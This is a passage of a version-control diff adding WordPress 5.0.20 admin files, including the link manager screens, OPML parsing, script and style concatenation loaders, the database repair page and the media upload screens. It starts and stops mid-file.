+				if ( responseData.items_retained ) {
+					hasRetained = hasRetained || responseData.items_retained;
+				}
+				if ( responseData.messages ) {
+					messages = messages.concat( responseData.messages );
+				}
+				if ( ! responseData.done ) {
+					setTimeout( doNextErasure( eraserIndex, pageIndex + 1 ) );
+				} else {
+					if ( eraserIndex < erasersCount ) {
+						setTimeout( doNextErasure( eraserIndex + 1, 1 ) );
+					} else {
+						onErasureDoneSuccess();
+					}
+				}
+			}).fail( function() {
+				onErasureFailure();
+			});
+		}
+
+		// And now, let's begin
+		setActionState( $action, 'remove-personal-data-processing' );
+
+		doNextErasure( 1, 1 );
+	});
+});
+
+( function( $ ) {
+
+	// Privacy policy page, copy button.
+	$( document ).on( 'click', function( event ) {
+		var $target = $( event.target );
+		var $parent, $container, range;
+
+		if ( $target.is( 'button.privacy-text-copy' ) ) {
+			$parent = $target.parent().parent();
+			$container = $parent.find( 'div.wp-suggested-text' );
+
+			if ( ! $container.length ) {
+				$container = $parent.find( 'div.policy-text' );
+			}
+
+			if ( $container.length ) {
+				try {
+					window.getSelection().removeAllRanges();
+					range = document.createRange();
+					$container.addClass( 'hide-privacy-policy-tutorial' );
+
+					range.selectNodeContents( $container[0] );
+					window.getSelection().addRange( range );
+					document.execCommand( 'copy' );
+
+					$container.removeClass( 'hide-privacy-policy-tutorial' );
+					window.getSelection().removeAllRanges();
+				} catch ( er ) {}
+			}
+		}
+	});
+
+} ( jQuery ) );
Index: /tags/5.0.20/src/wp-admin/link-add.php
===================================================================
--- /tags/5.0.20/src/wp-admin/link-add.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/link-add.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Add Link Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can('manage_links') )
+	wp_die(__('Sorry, you are not allowed to add links to this site.'));
+
+$title = __('Add New Link');
+$parent_file = 'link-manager.php';
+
+wp_reset_vars( array('action', 'cat_id', 'link_id' ) );
+
+wp_enqueue_script('link');
+wp_enqueue_script('xfn');
+
+if ( wp_is_mobile() )
+	wp_enqueue_script( 'jquery-touch-punch' );
+
+$link = get_default_link_to_edit();
+include( ABSPATH . 'wp-admin/edit-link-form.php' );
+
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/link-manager.php
===================================================================
--- /tags/5.0.20/src/wp-admin/link-manager.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/link-manager.php	(revision 56912)
@@ -0,0 +1,119 @@
+<?php
+/**
+ * Link Management Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+if ( ! current_user_can( 'manage_links' ) )
+	wp_die( __( 'Sorry, you are not allowed to edit the links for this site.' ) );
+
+$wp_list_table = _get_list_table('WP_Links_List_Table');
+
+// Handle bulk deletes
+$doaction = $wp_list_table->current_action();
+
+if ( $doaction && isset( $_REQUEST['linkcheck'] ) ) {
+	check_admin_referer( 'bulk-bookmarks' );
+
+	$redirect_to = admin_url( 'link-manager.php' );
+	$bulklinks = (array) $_REQUEST['linkcheck'];
+
+	if ( 'delete' == $doaction ) {
+		foreach ( $bulklinks as $link_id ) {
+			$link_id = (int) $link_id;
+
+			wp_delete_link( $link_id );
+		}
+
+		$redirect_to = add_query_arg( 'deleted', count( $bulklinks ), $redirect_to );
+	} else {
+		/** This action is documented in wp-admin/edit-comments.php */
+		$redirect_to = apply_filters( 'handle_bulk_actions-' . get_current_screen()->id, $redirect_to, $doaction, $bulklinks );
+	}
+	wp_redirect( $redirect_to );
+	exit;
+} elseif ( ! empty( $_GET['_wp_http_referer'] ) ) {
+	 wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
+	 exit;
+}
+
+$wp_list_table->prepare_items();
+
+$title = __('Links');
+$this_file = $parent_file = 'link-manager.php';
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . sprintf(__('You can add links here to be displayed on your site, usually using <a href="%s">Widgets</a>. By default, links to several sites in the WordPress community are included as examples.'), 'widgets.php') . '</p>' .
+    '<p>' . __('Links may be separated into Link Categories; these are different than the categories used on your posts.') . '</p>' .
+    '<p>' . __('You can customize the display of this screen using the Screen Options tab and/or the dropdown filters above the links table.') . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'deleting-links',
+'title'		=> __('Deleting Links'),
+'content'	=>
+    '<p>' . __('If you delete a link, it will be removed permanently, as Links do not have a Trash function yet.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Links_Screen">Documentation on Managing Links</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_list' => __( 'Links list' ),
+) );
+
+include_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( ! current_user_can('manage_links') )
+	wp_die(__('Sorry, you are not allowed to edit the links for this site.'));
+
+?>
+
+<div class="wrap nosubsub">
+<h1 class="wp-heading-inline"><?php
+echo esc_html( $title );
+?></h1>
+
+<a href="link-add.php" class="page-title-action"><?php echo esc_html_x( 'Add New', 'link' ); ?></a>
+
+<?php
+if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
+	/* translators: %s: search keywords */
+	printf( '<span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', esc_html( wp_unslash( $_REQUEST['s'] ) ) );
+}
+?>
+
+<hr class="wp-header-end">
+
+<?php
+if ( isset($_REQUEST['deleted']) ) {
+	echo '<div id="message" class="updated notice is-dismissible"><p>';
+	$deleted = (int) $_REQUEST['deleted'];
+	printf(_n('%s link deleted.', '%s links deleted', $deleted), $deleted);
+	echo '</p></div>';
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('deleted'), $_SERVER['REQUEST_URI']);
+}
+?>
+
+<form id="posts-filter" method="get">
+
+<?php $wp_list_table->search_box( __( 'Search Links' ), 'link' ); ?>
+
+<?php $wp_list_table->display(); ?>
+
+<div id="ajax-response"></div>
+</form>
+
+</div>
+
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/link-parse-opml.php
===================================================================
--- /tags/5.0.20/src/wp-admin/link-parse-opml.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/link-parse-opml.php	(revision 56912)
@@ -0,0 +1,95 @@
+<?php
+/**
+ * Parse OPML XML files and store in globals.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( ! defined('ABSPATH') )
+	die();
+
+/**
+ * @global string $opml
+ */
+global $opml;
+
+/**
+ * XML callback function for the start of a new XML tag.
+ *
+ * @since 0.71
+ * @access private
+ *
+ * @global array $names
+ * @global array $urls
+ * @global array $targets
+ * @global array $descriptions
+ * @global array $feeds
+ *
+ * @param mixed $parser XML Parser resource.
+ * @param string $tagName XML element name.
+ * @param array $attrs XML element attributes.
+ */
+function startElement($parser, $tagName, $attrs) {
+	global $names, $urls, $targets, $descriptions, $feeds;
+
+	if ( 'OUTLINE' === $tagName ) {
+		$name = '';
+		if ( isset( $attrs['TEXT'] ) ) {
+			$name = $attrs['TEXT'];
+		}
+		if ( isset( $attrs['TITLE'] ) ) {
+			$name = $attrs['TITLE'];
+		}
+		$url = '';
+		if ( isset( $attrs['URL'] ) ) {
+			$url = $attrs['URL'];
+		}
+		if ( isset( $attrs['HTMLURL'] ) ) {
+			$url = $attrs['HTMLURL'];
+		}
+
+		// Save the data away.
+		$names[] = $name;
+		$urls[] = $url;
+		$targets[] = isset( $attrs['TARGET'] ) ? $attrs['TARGET'] :  '';
+		$feeds[] = isset( $attrs['XMLURL'] ) ? $attrs['XMLURL'] :  '';
+		$descriptions[] = isset( $attrs['DESCRIPTION'] ) ? $attrs['DESCRIPTION'] :  '';
+	} // End if outline.
+}
+
+/**
+ * XML callback function that is called at the end of a XML tag.
+ *
+ * @since 0.71
+ * @access private
+ *
+ * @param mixed $parser XML Parser resource.
+ * @param string $tagName XML tag name.
+ */
+function endElement($parser, $tagName) {
+	// Nothing to do.
+}
+
+// Create an XML parser
+if ( ! function_exists( 'xml_parser_create' ) ) {
+	trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
+	wp_die( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
+}
+
+$xml_parser = xml_parser_create();
+
+// Set the functions to handle opening and closing tags
+xml_set_element_handler($xml_parser, "startElement", "endElement");
+
+if ( ! xml_parse( $xml_parser, $opml, true ) ) {
+	printf(
+		/* translators: 1: error message, 2: line number */
+		__( 'XML Error: %1$s at line %2$s' ),
+		xml_error_string( xml_get_error_code( $xml_parser ) ),
+		xml_get_current_line_number( $xml_parser )
+	);
+}
+
+// Free up memory used by the XML parser
+xml_parser_free($xml_parser);
Index: /tags/5.0.20/src/wp-admin/link.php
===================================================================
--- /tags/5.0.20/src/wp-admin/link.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/link.php	(revision 56912)
@@ -0,0 +1,117 @@
+<?php
+/**
+ * Manage link administration actions.
+ *
+ * This page is accessed by the link management pages and handles the forms and
+ * Ajax processes for link actions.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_reset_vars( array( 'action', 'cat_id', 'link_id' ) );
+
+if ( ! current_user_can('manage_links') )
+	wp_link_manager_disabled_message();
+
+if ( !empty($_POST['deletebookmarks']) )
+	$action = 'deletebookmarks';
+if ( !empty($_POST['move']) )
+	$action = 'move';
+if ( !empty($_POST['linkcheck']) )
+	$linkcheck = $_POST['linkcheck'];
+
+$this_file = admin_url('link-manager.php');
+
+switch ($action) {
+	case 'deletebookmarks' :
+		check_admin_referer('bulk-bookmarks');
+
+		// For each link id (in $linkcheck[]) change category to selected value.
+		if (count($linkcheck) == 0) {
+			wp_redirect($this_file);
+			exit;
+		}
+
+		$deleted = 0;
+		foreach ($linkcheck as $link_id) {
+			$link_id = (int) $link_id;
+
+			if ( wp_delete_link($link_id) )
+				$deleted++;
+		}
+
+		wp_redirect("$this_file?deleted=$deleted");
+		exit;
+
+	case 'move' :
+		check_admin_referer('bulk-bookmarks');
+
+		// For each link id (in $linkcheck[]) change category to selected value.
+		if (count($linkcheck) == 0) {
+			wp_redirect($this_file);
+			exit;
+		}
+		$all_links = join(',', $linkcheck);
+		/*
+		 * Should now have an array of links we can change:
+		 *     $q = $wpdb->query("update $wpdb->links SET link_category='$category' WHERE link_id IN ($all_links)");
+		 */
+
+		wp_redirect($this_file);
+		exit;
+
+	case 'add' :
+		check_admin_referer('add-bookmark');
+
+		$redir = wp_get_referer();
+		if ( add_link() )
+			$redir = add_query_arg( 'added', 'true', $redir );
+
+		wp_redirect( $redir );
+		exit;
+
+	case 'save' :
+		$link_id = (int) $_POST['link_id'];
+		check_admin_referer('update-bookmark_' . $link_id);
+
+		edit_link($link_id);
+
+		wp_redirect($this_file);
+		exit;
+
+	case 'delete' :
+		$link_id = (int) $_GET['link_id'];
+		check_admin_referer('delete-bookmark_' . $link_id);
+
+		wp_delete_link($link_id);
+
+		wp_redirect($this_file);
+		exit;
+
+	case 'edit' :
+		wp_enqueue_script('link');
+		wp_enqueue_script('xfn');
+
+		if ( wp_is_mobile() )
+			wp_enqueue_script( 'jquery-touch-punch' );
+
+		$parent_file = 'link-manager.php';
+		$submenu_file = 'link-manager.php';
+		$title = __('Edit Link');
+
+		$link_id = (int) $_GET['link_id'];
+
+		if (!$link = get_link_to_edit($link_id))
+			wp_die(__('Link not found.'));
+
+		include( ABSPATH . 'wp-admin/edit-link-form.php' );
+		include( ABSPATH . 'wp-admin/admin-footer.php' );
+		break;
+
+	default :
+		break;
+}
Index: /tags/5.0.20/src/wp-admin/load-scripts.php
===================================================================
--- /tags/5.0.20/src/wp-admin/load-scripts.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/load-scripts.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Disable error reporting
+ *
+ * Set this to error_reporting( -1 ) for debugging.
+ */
+error_reporting(0);
+
+/** Set ABSPATH for execution */
+if ( ! defined( 'ABSPATH' ) ) {
+	define( 'ABSPATH', dirname( dirname( __FILE__ ) ) . '/' );
+}
+
+define( 'WPINC', 'wp-includes' );
+
+$load = $_GET['load'];
+if ( is_array( $load ) )
+	$load = implode( '', $load );
+
+$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
+$load = array_unique( explode( ',', $load ) );
+
+if ( empty($load) )
+	exit;
+
+require( ABSPATH . 'wp-admin/includes/noop.php' );
+require( ABSPATH . WPINC . '/script-loader.php' );
+require( ABSPATH . WPINC . '/version.php' );
+
+$expires_offset = 31536000; // 1 year
+$out = '';
+
+$wp_scripts = new WP_Scripts();
+wp_default_scripts( $wp_scripts );
+wp_default_packages_vendor( $wp_scripts );
+wp_default_packages_scripts( $wp_scripts );
+
+if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) && stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ) === $wp_version ) {
+	$protocol = $_SERVER['SERVER_PROTOCOL'];
+	if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0' ) ) ) {
+		$protocol = 'HTTP/1.0';
+	}
+	header( "$protocol 304 Not Modified" );
+	exit();
+}
+
+foreach ( $load as $handle ) {
+	if ( !array_key_exists($handle, $wp_scripts->registered) )
+		continue;
+
+	$path = ABSPATH . $wp_scripts->registered[$handle]->src;
+	$out .= get_file($path) . "\n";
+}
+
+header("Etag: $wp_version");
+header('Content-Type: application/javascript; charset=UTF-8');
+header('Expires: ' . gmdate( "D, d M Y H:i:s", time() + $expires_offset ) . ' GMT');
+header("Cache-Control: public, max-age=$expires_offset");
+
+echo $out;
+exit;
Index: /tags/5.0.20/src/wp-admin/load-styles.php
===================================================================
--- /tags/5.0.20/src/wp-admin/load-styles.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/load-styles.php	(revision 56912)
@@ -0,0 +1,82 @@
+<?php
+
+/**
+ * Disable error reporting
+ *
+ * Set this to error_reporting( -1 ) for debugging
+ */
+error_reporting(0);
+
+/** Set ABSPATH for execution */
+if ( ! defined( 'ABSPATH' ) ) {
+	define( 'ABSPATH', dirname( dirname( __FILE__ ) ) . '/' );
+}
+
+define( 'WPINC', 'wp-includes' );
+
+require( ABSPATH . 'wp-admin/includes/noop.php' );
+require( ABSPATH . WPINC . '/script-loader.php' );
+require( ABSPATH . WPINC . '/version.php' );
+
+$load = $_GET['load'];
+if ( is_array( $load ) ) {
+	$load = implode( '', $load );
+}
+$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
+$load = array_unique( explode( ',', $load ) );
+
+if ( empty($load) )
+	exit;
+
+$rtl = ( isset($_GET['dir']) && 'rtl' == $_GET['dir'] );
+$expires_offset = 31536000; // 1 year
+$out = '';
+
+$wp_styles = new WP_Styles();
+wp_default_styles($wp_styles);
+
+if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) && stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ) === $wp_version ) {
+	$protocol = $_SERVER['SERVER_PROTOCOL'];
+	if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0' ) ) ) {
+		$protocol = 'HTTP/1.0';
+	}
+	header( "$protocol 304 Not Modified" );
+	exit();
+}
+
+foreach ( $load as $handle ) {
+	if ( !array_key_exists($handle, $wp_styles->registered) )
+		continue;
+
+	$style = $wp_styles->registered[$handle];
+
+	if ( empty( $style->src ) ) {
+		continue;
+	}
+
+	$path = ABSPATH . $style->src;
+
+	if ( $rtl && ! empty( $style->extra['rtl'] ) ) {
+		// All default styles have fully independent RTL files.
+		$path = str_replace( '.min.css', '-rtl.min.css', $path );
+	}
+
+	$content = get_file( $path ) . "\n";
+
+	if ( strpos( $style->src, '/' . WPINC . '/css/' ) === 0 ) {
+		$content = str_replace( '../images/', '../' . WPINC . '/images/', $content );
+		$content = str_replace( '../js/tinymce/', '../' . WPINC . '/js/tinymce/', $content );
+		$content = str_replace( '../fonts/', '../' . WPINC . '/fonts/', $content );
+		$out .= $content;
+	} else {
+		$out .= str_replace( '../images/', 'images/', $content );
+	}
+}
+
+header("Etag: $wp_version");
+header('Content-Type: text/css; charset=UTF-8');
+header('Expires: ' . gmdate( "D, d M Y H:i:s", time() + $expires_offset ) . ' GMT');
+header("Cache-Control: public, max-age=$expires_offset");
+
+echo $out;
+exit;
Index: /tags/5.0.20/src/wp-admin/maint/repair.php
===================================================================
--- /tags/5.0.20/src/wp-admin/maint/repair.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/maint/repair.php	(revision 56912)
@@ -0,0 +1,171 @@
+<?php
+/**
+ * Database Repair and Optimization Script.
+ *
+ * @package WordPress
+ * @subpackage Database
+ */
+define('WP_REPAIRING', true);
+
+require_once( dirname( dirname( dirname( __FILE__ ) ) ) . '/wp-load.php' );
+
+header( 'Content-Type: text/html; charset=utf-8' );
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+	<meta name="viewport" content="width=device-width" />
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta name="robots" content="noindex,nofollow" />
+	<title><?php _e( 'WordPress &rsaquo; Database Repair' ); ?></title>
+	<?php
+	wp_admin_css( 'install', true );
+	?>
+</head>
+<body class="wp-core-ui">
+<p id="logo"><a href="<?php echo esc_url( __( 'https://wordpress.org/' ) ); ?>" tabindex="-1"><?php _e( 'WordPress' ); ?></a></p>
+
+<?php
+
+if ( ! defined( 'WP_ALLOW_REPAIR' ) ) {
+
+	echo '<h1 class="screen-reader-text">' . __( 'Allow automatic database repair' ) . '</h1>';
+
+	echo '<p>';
+	printf(
+		/* translators: %s: wp-config.php */
+		__( 'To allow use of this page to automatically repair database problems, please add the following line to your %s file. Once this line is added to your config, reload this page.' ),
+		'<code>wp-config.php</code>'
+	);
+	echo "</p><p><code>define('WP_ALLOW_REPAIR', true);</code></p>";
+
+	$default_key     = 'put your unique phrase here';
+	$missing_key     = false;
+	$duplicated_keys = array();
+
+	foreach ( array( 'AUTH_KEY', 'SECURE_AUTH_KEY', 'LOGGED_IN_KEY', 'NONCE_KEY', 'AUTH_SALT', 'SECURE_AUTH_SALT', 'LOGGED_IN_SALT', 'NONCE_SALT' ) as $key ) {
+		if ( defined( $key ) ) {
+			// Check for unique values of each key.
+			$duplicated_keys[ constant( $key ) ] = isset( $duplicated_keys[ constant( $key ) ] );
+		} else {
+			// If a constant is not defined, it's missing.
+			$missing_key = true;
+		}
+	}
+
+	// If at least one key uses the default value, consider it duplicated.
+	if ( isset( $duplicated_keys[ $default_key ] ) ) {
+		$duplicated_keys[ $default_key ] = true;
+	}
+
+	// Weed out all unique, non-default values.
+	$duplicated_keys = array_filter( $duplicated_keys );
+
+	if ( $duplicated_keys || $missing_key ) {
+
+		echo '<h2 class="screen-reader-text">' . __( 'Check secret keys' ) . '</h2>';
+
+		// Translators: 1: wp-config.php; 2: Secret key service URL.
+		echo '<p>' . sprintf( __( 'While you are editing your %1$s file, take a moment to make sure you have all 8 keys and that they are unique. You can generate these using the <a href="%2$s">WordPress.org secret key service</a>.' ), '<code>wp-config.php</code>', 'https://api.wordpress.org/secret-key/1.1/salt/' ) . '</p>';
+	}
+
+} elseif ( isset( $_GET['repair'] ) ) {
+
+	echo '<h1 class="screen-reader-text">' . __( 'Database repair results' ) . '</h1>';
+
+	$optimize = 2 == $_GET['repair'];
+	$okay = true;
+	$problems = array();
+
+	$tables = $wpdb->tables();
+
+	// Sitecategories may not exist if global terms are disabled.
+	$query = $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->esc_like( $wpdb->sitecategories ) );
+	if ( is_multisite() && ! $wpdb->get_var( $query ) ) {
+		unset( $tables['sitecategories'] );
+	}
+
+	/**
+	 * Filters additional database tables to repair.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $tables Array of prefixed table names to be repaired.
+	 */
+	$tables = array_merge( $tables, (array) apply_filters( 'tables_to_repair', array() ) );
+
+	// Loop over the tables, checking and repairing as needed.
+	foreach ( $tables as $table ) {
+		$check = $wpdb->get_row( "CHECK TABLE $table" );
+
+		echo '<p>';
+		if ( 'OK' == $check->Msg_text ) {
+			/* translators: %s: table name */
+			printf( __( 'The %s table is okay.' ), "<code>$table</code>" );
+		} else {
+			/* translators: 1: table name, 2: error message, */
+			printf( __( 'The %1$s table is not okay. It is reporting the following error: %2$s. WordPress will attempt to repair this table&hellip;' ) , "<code>$table</code>", "<code>$check->Msg_text</code>" );
+
+			$repair = $wpdb->get_row( "REPAIR TABLE $table" );
+
+			echo '<br />&nbsp;&nbsp;&nbsp;&nbsp;';
+			if ( 'OK' == $check->Msg_text ) {
+				/* translators: %s: table name */
+				printf( __( 'Successfully repaired the %s table.' ), "<code>$table</code>" );
+			} else {
+				/* translators: 1: table name, 2: error message, */
+				echo sprintf( __( 'Failed to repair the %1$s table. Error: %2$s' ), "<code>$table</code>", "<code>$check->Msg_text</code>" ) . '<br />';
+				$problems[$table] = $check->Msg_text;
+				$okay = false;
+			}
+		}
+
+		if ( $okay && $optimize ) {
+			$check = $wpdb->get_row( "ANALYZE TABLE $table" );
+
+			echo '<br />&nbsp;&nbsp;&nbsp;&nbsp;';
+			if ( 'Table is already up to date' == $check->Msg_text )  {
+				/* translators: %s: table name */
+				printf( __( 'The %s table is already optimized.' ), "<code>$table</code>" );
+			} else {
+				$check = $wpdb->get_row( "OPTIMIZE TABLE $table" );
+
+				echo '<br />&nbsp;&nbsp;&nbsp;&nbsp;';
+				if ( 'OK' == $check->Msg_text || 'Table is already up to date' == $check->Msg_text ) {
+					/* translators: %s: table name */
+					printf( __( 'Successfully optimized the %s table.' ), "<code>$table</code>" );
+				} else {
+					/* translators: 1: table name, 2: error message, */
+					printf( __( 'Failed to optimize the %1$s table. Error: %2$s' ), "<code>$table</code>", "<code>$check->Msg_text</code>" );
+				}
+			}
+		}
+		echo '</p>';
+	}
+
+	if ( $problems ) {
+		printf( '<p>' . __('Some database problems could not be repaired. Please copy-and-paste the following list of errors to the <a href="%s">WordPress support forums</a> to get additional assistance.') . '</p>', __( 'https://wordpress.org/support/forum/how-to-and-troubleshooting' ) );
+		$problem_output = '';
+		foreach ( $problems as $table => $problem )
+			$problem_output .= "$table: $problem\n";
+		echo '<p><textarea name="errors" id="errors" rows="20" cols="60">' . esc_textarea( $problem_output ) . '</textarea></p>';
+	} else {
+		echo '<p>' . __( 'Repairs complete. Please remove the following line from wp-config.php to prevent this page from being used by unauthorized users.' ) . "</p><p><code>define('WP_ALLOW_REPAIR', true);</code></p>";
+	}
+} else {
+
+	echo '<h1 class="screen-reader-text">' . __( 'WordPress database repair' ) . '</h1>';
+
+	if ( isset( $_GET['referrer'] ) && 'is_blog_installed' == $_GET['referrer'] )
+		echo '<p>' . __( 'One or more database tables are unavailable. To allow WordPress to attempt to repair these tables, press the &#8220;Repair Database&#8221; button. Repairing can take a while, so please be patient.' ) . '</p>';
+	else
+		echo '<p>' . __( 'WordPress can automatically look for some common database problems and repair them. Repairing can take a while, so please be patient.' ) . '</p>';
+?>
+	<p class="step"><a class="button button-large" href="repair.php?repair=1"><?php _e( 'Repair Database' ); ?></a></p>
+	<p><?php _e( 'WordPress can also attempt to optimize the database. This improves performance in some situations. Repairing and optimizing the database can take a long time and the database will be locked while optimizing.' ); ?></p>
+	<p class="step"><a class="button button-large" href="repair.php?repair=2"><?php _e( 'Repair and Optimize Database' ); ?></a></p>
+<?php
+}
+?>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-admin/media-new.php
===================================================================
--- /tags/5.0.20/src/wp-admin/media-new.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/media-new.php	(revision 56912)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * Manage media uploaded file.
+ *
+ * There are many filters in here for media. Plugins can extend functionality
+ * by hooking into the filters.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if (!current_user_can('upload_files'))
+	wp_die(__('Sorry, you are not allowed to upload files.'));
+
+wp_enqueue_script('plupload-handlers');
+
+$post_id = 0;
+if ( isset( $_REQUEST['post_id'] ) ) {
+	$post_id = absint( $_REQUEST['post_id'] );
+	if ( ! get_post( $post_id ) || ! current_user_can( 'edit_post', $post_id ) )
+		$post_id = 0;
+}
+
+if ( $_POST ) {
+	if ( isset($_POST['html-upload']) && !empty($_FILES) ) {
+		check_admin_referer('media-form');
+		// Upload File button was clicked
+		$upload_id = media_handle_upload( 'async-upload', $post_id );
+		if ( is_wp_error( $upload_id ) ) {
+			wp_die( $upload_id );
+		}
+	}
+	wp_redirect( admin_url( 'upload.php' ) );
+	exit;
+}
+
+$title = __('Upload New Media');
+$parent_file = 'upload.php';
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . __('You can upload media files here without creating a post first. This allows you to upload files to use with posts and pages later and/or to get a web link for a particular file that you can share. There are three options for uploading files:') . '</p>' .
+	'<ul>' .
+		'<li>' . __('<strong>Drag and drop</strong> your files into the area below. Multiple files are allowed.') . '</li>' .
+		'<li>' . __('Clicking <strong>Select Files</strong> opens a navigation window showing you files in your operating system. Selecting <strong>Open</strong> after clicking on the file you want activates a progress bar on the uploader screen.') . '</li>' .
+		'<li>' . __('Revert to the <strong>Browser Uploader</strong> by clicking the link below the drag and drop box.') . '</li>' .
+	'</ul>'
+) );
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Media_Add_New_Screen">Documentation on Uploading Media Files</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+$form_class = 'media-upload-form type-form validate';
+
+if ( get_user_setting('uploader') || isset( $_GET['browser-uploader'] ) )
+	$form_class .= ' html-uploader';
+?>
+<div class="wrap">
+	<h1><?php echo esc_html( $title ); ?></h1>
+
+	<form enctype="multipart/form-data" method="post" action="<?php echo admin_url('media-new.php'); ?>" class="<?php echo esc_attr( $form_class ); ?>" id="file-form">
+
+	<?php media_upload_form(); ?>
+
+	<script type="text/javascript">
+	var post_id = <?php echo absint( $post_id ); ?>, shortform = 3;
+	</script>
+	<input type="hidden" name="post_id" id="post_id" value="<?php echo absint( $post_id ); ?>" />
+	<?php wp_nonce_field('media-form'); ?>
+	<div id="media-items" class="hide-if-no-js"></div>
+	</form>
+</div>
+
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/media-upload.php
===================================================================
--- /tags/5.0.20/src/wp-admin/media-upload.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/media-upload.php	(revision 56912)
@@ -0,0 +1,112 @@
+<?php
+/**
+ * Manage media uploaded file.
+ *
+ * There are many filters in here for media. Plugins can extend functionality
+ * by hooking into the filters.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( ! isset( $_GET['inline'] ) )
+	define( 'IFRAME_REQUEST' , true );
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'upload_files' ) ) {
+	wp_die( __( 'Sorry, you are not allowed to upload files.' ), 403 );
+}
+
+wp_enqueue_script('plupload-handlers');
+wp_enqueue_script('image-edit');
+wp_enqueue_script('set-post-thumbnail' );
+wp_enqueue_style('imgareaselect');
+wp_enqueue_script( 'media-gallery' );
+
+@header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
+
+// IDs should be integers
+$ID = isset($ID) ? (int) $ID : 0;
+$post_id = isset($post_id)? (int) $post_id : 0;
+
+// Require an ID for the edit screen.
+if ( isset( $action ) && $action == 'edit' && !$ID ) {
+	wp_die(
+		'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
+		'<p>' . __( 'Invalid item ID.' ) . '</p>',
+		403
+	);
+}
+
+if ( ! empty( $_REQUEST['post_id'] ) && ! current_user_can( 'edit_post' , $_REQUEST['post_id'] ) ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to edit this item.' ) . '</p>',
+		403
+	);
+}
+
+// Upload type: image, video, file, ..?
+if ( isset($_GET['type']) ) {
+	$type = strval($_GET['type']);
+} else {
+	/**
+	 * Filters the default media upload type in the legacy (pre-3.5.0) media popup.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $type The default media upload type. Possible values include
+	 *                     'image', 'audio', 'video', 'file', etc. Default 'file'.
+	 */
+	$type = apply_filters( 'media_upload_default_type', 'file' );
+}
+
+// Tab: gallery, library, or type-specific.
+if ( isset($_GET['tab']) ) {
+	$tab = strval($_GET['tab']);
+} else {
+	/**
+	 * Filters the default tab in the legacy (pre-3.5.0) media popup.
